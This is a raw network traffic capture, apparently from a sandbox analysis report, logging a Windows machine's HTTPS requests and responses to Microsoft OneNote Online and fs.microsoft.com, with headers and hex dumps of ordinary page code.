2024-04-26 07:59:11 UTC	5719	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; path=/; samesite=none; secure X-CorrelationId: d19e0541-59c5-9a5e-8e10-18de22c9153f X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * Origin-Trial: AiEeevdgKBiq37XjJeDqmaccPhecbEm+bxflC7WOKkv5wnGfbdoVop99b8bLk4oXifN9pukpdcpoR4cipX8rbnEAAABueyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiaXNTdWJkb21haW4iOmZhbHNlLCJmZWF0dXJlIjoiSGFwdGljc0RldmljZSIsImV4cGlyeSI6MTcxMzkxNjgwMH0= Origin-Trial: AhQJUzE5LCv5KHvmQov3fZhTT0W3oRbJWD7uk+pw4EemPcV5dWZzr8wiGtZj/dh81uDAw0I9lZ30j8otVRSRQwYAAABkeyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiZmVhdHVyZSI6IlRwY2QiLCJleHBpcnkiOjE3MzUzNDM5OTksImlzU3ViZG9tYWluIjp0cnVlfQ== Origin-Agent-Cluster: ?1 X-OfficeFE: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff Content-Security-Policy-Report-Only: font-src data: 'self' res-1.cdn.office.net .skype.com .skypeassets.com .msocdn.com sway.com .sway-cdn.com sway-cdn.com .sharepointonline.com spoprod-a.akamaihd.net .azureedge.net fs.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net .microsoft.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net uci.officeapps.live.com cdn.uci.edog.officeapps.live.com cdn.uci.officeapps.live.com uci.edog.cdn.office.net uci.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net appsforoffice.microsoft.com contentstorage.osi.office.net .growth.office.net .rt.microsoft.com res-prod.cdn.office.net res.cdn.office.net messaging.office.com messaging.growth.office.com messaging.action.office.com messaging.engagement.office.com content.lifecycle.office.net www.microsoft.com pmservices.cp.microsoft.com paymentinstruments.mp.microsoft.com paymentinstruments-int.mp.microsoft.com edge.payments.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net .video.msn.com realtimesync.onenote.com oreonavpane.azureedge.net contentstorage.onenote.office.net .msftauth.net .officeapps.live.com; script-src-elem 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net uci.officeapps.live.com cdn.uci.edog.officeapps.live.com cdn.uci.officeapps.live.com uci.edog.cdn.office.net uci.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net appsforoffice.microsoft.com contentstorage.osi.office.net .growth.office.net .rt.microsoft.com res-prod.cdn.office.net res.cdn.office.net messaging.office.com messaging.growth.office.com messaging.action.office.com messaging.engagement.office.com content.lifecycle.office.net www.microsoft.com pmservices.cp.microsoft.com paymentinstruments.mp.microsoft.com paymentinstruments-int.mp.microsoft.com edge.payments.microsoft.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net .video.msn.com realtimesync.onenote.com oreonavpane.azureedge.net contentstorage.onenote.office.net .msftauth.net .officeapps.live.com; style-src 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net sway.com .sway-cdn.com sway-cdn.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net ; style-src-elem 'self' 'unsafe-inline' 'unsafe-eval' res-1.cdn.office.net .skype.com .skypeassets.com .msocdn.com js.live.net sway.com .sway-cdn.com sway-cdn.com .cdn.office.net res-cn.cdn.partner.office365.cn res-4.cdn.partner.office365.cn res-3.cdn.partner.office365.cn res-1-cdn.azureedge.microsoft.scloud res-1-cdn.azureedge.eaglex.ic.gov res-dev.cdn.officeppe.net ; media-src blob: .skype.com .skypeassets.com 'self' ; object-src 'self' ; child-src blob: * onenote:; worker-src blob: ; img-src data: blob:; report-uri /o/reportcsp.ashx Document-Policy: js-profiling Reporting-Endpoints: default="https://usc-onenote.officeapps.live.com/o/BrowserReportingHandler.ashx" nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource=SharePointOnline"}]} server-timing: prerender;dur=13,render;dur=1,total;dur=14 X-OFFICEFD: SN3PEPF000091BA X-WacFrontEnd: SN3PEPF000091BA X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: C329BCFD107F47F9804B31846E6B987B Ref B: MIA301000107051 Ref C: 2024-04-26T07:59:11Z Date: Fri, 26 Apr 2024 07:59:10 GMT Connection: close
2024-04-26 07:59:11 UTC	219	IN	Data Raw: 64 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 76 61 72 20 67 5f 66 69 72 73 74 42 79 74 65 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 20 66 0d 0a Data Ascii: d5<!DOCTYPE html><html><head><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><script type="text/javascript"> var g_firstByte = new Date(); f
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 75 6e 63 74 69 6f 6e 20 68 69 67 68 52 65 73 54 69 6d 65 53 74 61 6d 70 28 29 20 7b 20 69 66 20 28 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 29 20 7b 20 72 65 74 75 72 6e 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 72 65 74 75 72 6e 20 30 3b 7d 20 76 61 72 20 67 5f 66 69 72 73 74 42 79 74 65 48 69 67 68 68 52 65 73 54 69 6d 65 20 3d 20 68 69 67 68 52 65 73 54 69 6d 65 53 74 61 6d 70 28 29 3b 20 76 61 72 20 67 5f 70 61 67 65 49 6e 69 74 53 74 61 72 74 54 69 6d 65 48 69 67 68 52 65 73 54 69 6d 65 3b 20 76 61 72 20 67 5f 6a 73 4c 54 48 69 67 68 68 52 65 73 54 69 6d 65 20 3d 20 7b 7d 20 3b 20 69 66 20 28 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 70 65 72 66 6f 72 6d 61 6e Data Ascii: 2000unction highResTimeStamp() { if (performance && performance.now) { return performance.now();} return 0;} var g_firstByteHighhResTime = highResTimeStamp(); var g_pageInitStartTimeHighResTime; var g_jsLTHighhResTime = {} ; if (performance && performan
2024-04-26 07:59:11 UTC	2560	IN	Data Raw: 39 66 39 0d 0a 30 70 78 3b 77 69 64 74 68 3a 33 39 33 70 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 4e 61 76 70 61 6e 65 54 69 74 6c 65 20 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 3b 72 69 67 68 74 3a 31 70 78 3b 74 6f 70 3a 30 70 78 3b 77 69 64 74 68 3a 34 33 39 70 78 3b 68 65 69 67 68 74 3a 34 34 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 54 77 6f 50 61 6e 65 4e 61 76 54 69 74 6c 65 20 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 3b 72 69 67 68 74 3a 31 70 78 3b 74 6f 70 3a 30 70 78 3b 77 69 64 74 68 3a 34 32 35 70 78 3b 68 65 69 67 68 74 3a 34 34 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b Data Ascii: 9f90px;width:393px;height:36px;position:absolute;} .skeletalNavpaneTitle {border:solid;right:1px;top:0px;width:439px;height:44px;position:absolute;} .skeletalTwoPaneNavTitle {border:solid;right:1px;top:0px;width:425px;height:44px;position:absolute;} .sk
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 32 3b 72 69 67 68 74 3a 31 70 78 3b 77 69 64 74 68 3a 31 39 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 74 6f 70 3a 33 37 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 4e 61 76 70 61 6e 65 50 61 67 65 43 6f 6c 75 6d 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 32 64 32 64 32 3b 72 69 67 68 74 3a 31 70 78 3b 77 69 64 74 68 3a 31 39 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 74 6f 70 3a 34 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7d 20 2e 73 6b 65 6c 65 74 61 6c 54 77 6f 50 61 6e 65 4e 61 76 50 61 67 65 43 6f 6c 75 6d 6e 20 7b 64 69 73 70 6c 61 Data Ascii: 20002;right:1px;width:192px; height: 100%;top:37px;position:absolute;} .skeletalNavpanePageColumn {display:inline-block;border-right:1px solid #d2d2d2;right:1px;width:192px; height: 100%;top:45px;position:absolute;} .skeletalTwoPaneNavPageColumn {displa
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2e 52 65 66 72 65 73 68 2e 63 73 73 27 29 3b 22 20 20 2f 3e 3c 73 74 79 6c 65 3e 23 41 64 64 69 74 69 6f 6e 61 6c 42 61 72 73 2c 23 42 75 73 69 6e 65 73 73 42 61 72 2c 23 45 64 69 74 6f 72 42 61 72 73 2c 23 45 64 69 74 6f 72 43 6f 6e 74 61 69 6e 65 72 2c 23 46 61 72 50 61 6e 65 2c 23 48 65 61 64 65 72 2c 23 4b 65 79 62 6f 61 72 64 52 65 67 69 6f 6e 2c 23 4e 65 61 72 42 61 72 73 2c 23 4e 65 61 72 50 61 6e 65 2c 23 4e 6f 74 69 66 69 63 61 74 69 6f 6e 42 61 72 2c 23 52 69 62 62 6f 6e 2c 23 53 74 61 74 75 73 42 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 52 65 67 69 6f 6e 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b Data Ascii: 2000.Refresh.css');" /><style>#AdditionalBars,#BusinessBar,#EditorBars,#EditorContainer,#FarPane,#Header,#KeyboardRegion,#NearBars,#NearPane,#NotificationBar,#Ribbon,#StatusBar{display:none;position:relative}.Region{width:100%;height:100%;display:flex;
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 2e 68 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 49 63 6f 6e 2d 31 33 31 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 61 64 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 49 63 6f 6e 73 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 70 65 61 6b 3a 6e 6f 6e 65 7d 2e 57 61 66 66 6c 65 2d 31 33 32 3a 62 65 66 6f 72 65 7b Data Ascii: 2000ahoma,Helvetica,Arial,sans-serif}.headerPlaceholderIcon-131{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-family:HeaderPlaceholderIcons;font-style:normal;font-weight:400;speak:none}.Waffle-132:before{
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 73 74 79 6c 65 3d 22 6c 65 66 74 3a 36 34 32 70 78 3b 77 69 64 74 68 3a 32 37 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 45 78 74 65 6e 73 69 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 38 37 39 70 78 3b 77 69 64 74 68 3a 32 32 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 52 69 62 62 6f 6e 45 78 74 65 6e 73 69 6f 6e 42 6f 78 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 39 32 36 70 78 3b 77 69 64 74 68 3a 33 37 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 Data Ascii: 2000style="left:642px;width:27px"></span><span class="skeletalRibbonExtensionBox" role="presentation" style="left:879px;width:22px"></span><span class="skeletalRibbonExtensionBox" role="presentation" style="left:926px;width:37px"></span><span class="ske
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 64 43 6f 6c 75 6d 6e 55 6e 69 74 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 74 6f 70 3a 33 31 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 2e 37 39 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 34 73 3b 77 69 64 74 68 3a 33 33 37 70 78 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 6b 65 6c 65 74 61 6c 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 4c 6f 6e 67 55 6e 69 74 20 73 6b 65 6c 65 74 61 6c 43 61 6e 76 61 73 53 65 63 6f 6e 64 43 6f 6c 75 6d 6e 55 6e 69 74 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 73 74 79 6c 65 3d 22 74 6f 70 3a 33 33 32 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 31 Data Ascii: 2000dColumnUnit" role="presentation" style="top:310px;animation-delay:1.79s;animation-duration:4s;width:337px"></span><span class="skeletalUnit skeletalCanvasLongUnit skeletalCanvasSecondColumnUnit" role="presentation" style="top:332px;animation-delay:1
2024-04-26 07:59:11 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 30 30 2d 31 45 33 46 2d 41 42 39 46 43 32 42 41 39 37 35 45 2e 30 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 53 74 61 72 74 54 69 6d 65 55 74 63 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 32 30 32 34 2d 30 34 2d 32 36 54 30 37 3a 35 39 3a 31 31 2e 36 38 35 31 33 32 37 5a 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 4d 61 63 68 69 6e 65 4e 61 6d 65 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 53 4e 33 50 45 50 46 30 30 30 30 39 31 42 41 5c 75 30 30 32 32 2c 5c 75 30 30 32 32 4d 61 63 68 69 6e 65 46 75 6e 63 74 69 6f 6e 5c 75 30 30 32 32 3a 5c 75 30 30 32 32 4f 6e 65 4e 6f 74 65 4c 42 31 5c 75 30 30 32 32 7d 27 2c 52 74 6c 3a 20 27 46 61 6c 73 65 27 2c 48 69 64 65 43 6f 6e 74 65 78 74 4d 65 6e 75 3a 20 27 66 61 6c 73 65 27 2c 48 69 64 65 52 69 62 62 6f 6e 3a Data Ascii: 200000-1E3F-AB9FC2BA975E.0\u0022,\u0022StartTimeUtc\u0022:\u00222024-04-26T07:59:11.6851327Z\u0022,\u0022MachineName\u0022:\u0022SN3PEPF000091BA\u0022,\u0022MachineFunction\u0022:\u0022OneNoteLB1\u0022}',Rtl: 'False',HideContextMenu: 'false',HideRibbon:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49751	23.213.224.106	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:11 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 07:59:11 UTC	530	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=83091 Date: Fri, 26 Apr 2024 07:59:11 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 07:59:11 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49752	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:12 UTC	2546	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":0,"MsSinceStart":0,"Value":"SessionStarted","Type":"SessionBoundary"},{"Index":1,"MsSinceStart":1,"Value":"https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:12 UTC	1566	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 9352601f-1812-4771-a529-7a12c33050aa X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BE X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5c&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091BE X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 11F72AA122C44710B0817D6991E50FCA Ref B: MIA301000105045 Ref C: 2024-04-26T07:59:12Z Date: Fri, 26 Apr 2024 07:59:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:13 UTC	594	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:13 UTC	4265	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2648c2fa-e1cc-4bf6-b2cd-3eccfa68d5dc X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BE X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,84583